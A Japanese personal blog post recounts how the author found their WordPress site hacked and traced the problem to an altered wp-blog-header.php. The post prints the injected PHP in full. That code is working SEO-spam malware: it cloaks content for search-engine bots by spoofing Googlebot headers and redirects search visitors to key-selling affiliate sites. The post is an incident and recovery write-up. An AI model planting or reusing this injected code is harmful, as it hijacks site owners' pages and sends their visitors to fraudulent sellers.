毎日ブログを書いていると、作家になったような気分になることもありますが、何より書くための知識や情報の収集や、自分の書いた記事による、新たな人との出会い、そのネタを元に人との会話内容が弾むことは、非常に有意義です。
そんなある日、自分のwordpressページを開いたら、見ず知らずの商品ページが開いていて、戸惑いを覚えました。
よくよく調べてみると、これは「改竄事件」である事がわかったので、被害にあってしまった人や、今まさにwordpressを使っているという人のために、自分の行なった回復作業を記録しておきますね。
どういう事象?
wordpressブログのトップページを開くと普通に見えるんですが、それぞれの記事を開いた時に、とあるmicrosoftの製品ページ(ランディングページ)が表示されるという現象です。
最初はブログに貼っているアドタグを自分でクリックしてしまったのではないかと、何度かやり直しをしてみましたが、どの記事ページもその広告ページにリダイレクトされてしまうので、これはシステム側の問題だと気がつきました。
ちなみに、すぐにググってみましたが、なかなか該当するものがないので、しかたなく自分で調査することに思考を方向転換!
考えられる原因
まず疑ったのが、記事ページにおける挙動なので、記事のみに貼り付けているadタグで、怪しいものが、誤作動または、意図的にjsが書き換えられたのではないかと疑い、アドタグをinsertするプラグインをカットしてみましたが、解消されず。
次に、先日入れた無料SSLのnginx設定でredirect設定が入ってしまっている(昨日まではそうではなかったので、そこが改竄された?)のではないかと考え、サーバーにsshでログインして、"/etc/nginx/conf.d/***.conf"ファイルを確認してみましたが、全く問題はない。
ちなみに、この時点で、管理画面にはログインできる状態です。(ブログのトップページも普通に表示されています)
次に考えたのがユーザーが自由に書き込みできるコメント欄に、JSインジェクション的な書き込みをされたのかと思って管理画面の「コメント」機能をみてみたが、直近の書き込みは無く、これも対象外。
なかなか原因が見つかりませんね・・・
調査と対応
最後に腹をくくって、ファイル改竄を疑い、wordpressのプログラムフォルダを調査してみました。
ファイル数が多いので、時間がかかることは覚悟していたんですが、原因はあっさり見つかりました。
とりあえず、タイムスタンプを見ていこうと思って、"ls -lha"コマンドを叩いたら、更新をしていないのに、root階層にある「wp-blog-header.php」ファイルが、本日の更新日時になっていました。
どうやら間違いなくこれでしょうね。
とりあえず、他のファイルもタイムスタンプ調査してみましたが、一通り見て、このファイルだけタイムスタンプが怪しいようです。
このファイルの中をviしてみると・・・
<?php
$links =
<<<EOF
<a href="https://www.microsoft.com">Microsoft</a> |
<a href="http://freeproductkeys.com/">Freeproductkeys</a> |
<a href="https://twitter.com/">Twitter</a> |
<a href="http://www.facebook.com/">Facebook</a> |
<a href="https://plus.google.com/">Google Plus</a> |
<a href="https://youtube.com">YouTube</a> |
<a href="https://linkedin.com">LindedIn</a> |
<a href="http://wordpress.org">RSS</a> |
<a href="http://www.gamil.com">Gamil</a> |
<a href="http://www.cheapest-keys.com/">windows 7 Keys</a> |
EOF;
$tmp = strtolower($_SERVER['HTTP_USER_AGENT']);
$mysite = "http://".$_SERVER['HTTP_HOST']."/";
$filename = "";
$fromsite = "https://licensekeys.org/windows-10-pro-product-key/";
if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) {
$ksite = !empty($_GET['p']) ? $_GET['p'] : "";
$list = array(
);
$listname = $filename . "?p=";
$liststr = "<div style='text-align: center'>";
foreach ($list as $key => $val) {
if ($ksite == $key) {
$fromsite = $val;
}
$liststr .= "<a href='" .$mysite . $filename . "?p=" . $key . "'>" . $key . "</a> ";
}
$liststr .= "</div>";
$url = empty($_GET['join']) ? "" : $_GET['join'];
if(function_exists('curl_init')){
$s = curl_init();
curl_setopt($s,CURLOPT_URL,$fromsite . $url);
curl_setopt($s,CURLOPT_RETURNTRANSFER,1);
curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
curl_setopt($s,CURLOPT_REFERER,"http://www.google.com");
curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240'));
$content = curl_exec($s);
}else{$content=file_get_contents($fromsite . $url);}
if (!empty($ksite)) {
$qstr = $filename . "?p=" . $ksite . "&join=";
} else {
$qstr = $filename . "?join=";
}
$repstr = $mysite . $qstr;
$content = str_ireplace('href="', 'href="/', $content);
$content = str_ireplace('href="//', 'href="/', $content);
$content = str_ireplace('href="/http', 'href="http', $content);
$content = str_ireplace('href="/http', 'href="http', $content);
$content = str_replace('href="/', 'href="' . $fromsite, $content);
$content = str_ireplace('src="', 'src="/', $content);
$content = str_ireplace('src="//', 'src="/', $content);
$content = str_ireplace('src="/http', 'src="http', $content);
$content = str_ireplace('src="/http', 'src="http', $content);
$content = str_replace('src="/', 'src="' . $fromsite, $content);
$content = str_ireplace($fromsite, $repstr, $content);
$content = str_replace($repstr . "skin", $fromsite . "skin", $content);
$content = str_replace($repstr . "style", $fromsite . "style", $content);
$content = str_replace($repstr . "js", $fromsite . "js", $content);
$content = str_replace($repstr . "media", $fromsite . "media", $content);
$content = str_replace($repstr . "res", $fromsite . "res", $content);
$content = str_replace("https://licensekeys.org/",$repstr, $content);
$content = str_replace("</body>",$liststr . "</body>", $content);
$domain= str_replace(array("https://www.","http://www.","https://","http://","/"),"",$mysite);
$content = preg_replace("#href=(\"|')(http|https)://(?!(www\.)?".str_replace(".","\.",$domain).")(.*?)(\"|')#i", "href=\"#\"", $content);
echo $links;
echo $content;
exit;
} else {
$tiaourl =("http://www.cheapest-keys.com/windows-10-keys-c-1/?affid=wordpress");
if(isset($_GET['join']) || isset($_GET['p']))
{
header("location: " . $tiaourl);
exit;
}if(empty($_COOKIE['haircki'])){
$ref = strtolower($_SERVER['HTTP_REFERER']);
if (strpos ($ref, 'google') !== false || strpos ($ref, 'yahoo') !== false || strpos ($ref, 'bing') !== false || strpos ($ref,
'aol') !== false || strpos ($ref, 'ask') !== false || strpos ($ref, 'search') !== false) {
$in = ("/");
if($_SERVER["REQUEST_URI"]==($in || "/index.php/band_ara/")){header("location: " . $tiaourl);exit;}}}
setcookie('haircki','haircooki', time()+3600*24);
}
function get_url_con($con_s){
if(function_exists('curl_init')){
$s = curl_init();
curl_setopt($s,CURLOPT_URL,$con_s);
curl_setopt($s,CURLOPT_RETURNTRANSFER,1);
curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
curl_setopt($s,CURLOPT_REFERER,"http://www.google.com");
curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240'));
return curl_exec($s);
}else{
return @file_get_contents($con_s);
}
}
?>
*/
<?php
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/
if ( !isset($wp_did_header) ) {
$wp_did_header = true;
require_once( dirname(__FILE__) . '/wp-load.php' );
wp();
require_once( ABSPATH . WPINC . '/template-loader.php' );
}
これですね。microsoftのページへのリダイレクトがバッチリ書かれています。
本来このファイルの内容は、
<?php
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/
if ( !isset($wp_did_header) ) {
$wp_did_header = true;
require_once( dirname(__FILE__) . '/wp-load.php' );
wp();
require_once( ABSPATH . WPINC . '/template-loader.php' );
}
この程度の内容なのですが、明らかに追記されています。
とりあえず、このファイルを正規の内容に書き直すことで、正常に表示されるようになりました。
完了
実はこれで完了ではなく、実は改竄されたという事は、管理画面経由なのか、ネットワークでOSに入り込まれたのか、それともそれ以外の手段で行われたのかを追求しなくてはいけません。
実は今の所、この原因がわかっていないので、再発する可能性は非常に高い状態です。
とりあえず、OSのログインはサーバーログから探せるので、しばらく調査を続行してみたいと思います。
いや〜改めて、wordpressは狙われやすいという事も再確認できたので、近々フレームワークを変えようと志ましたね。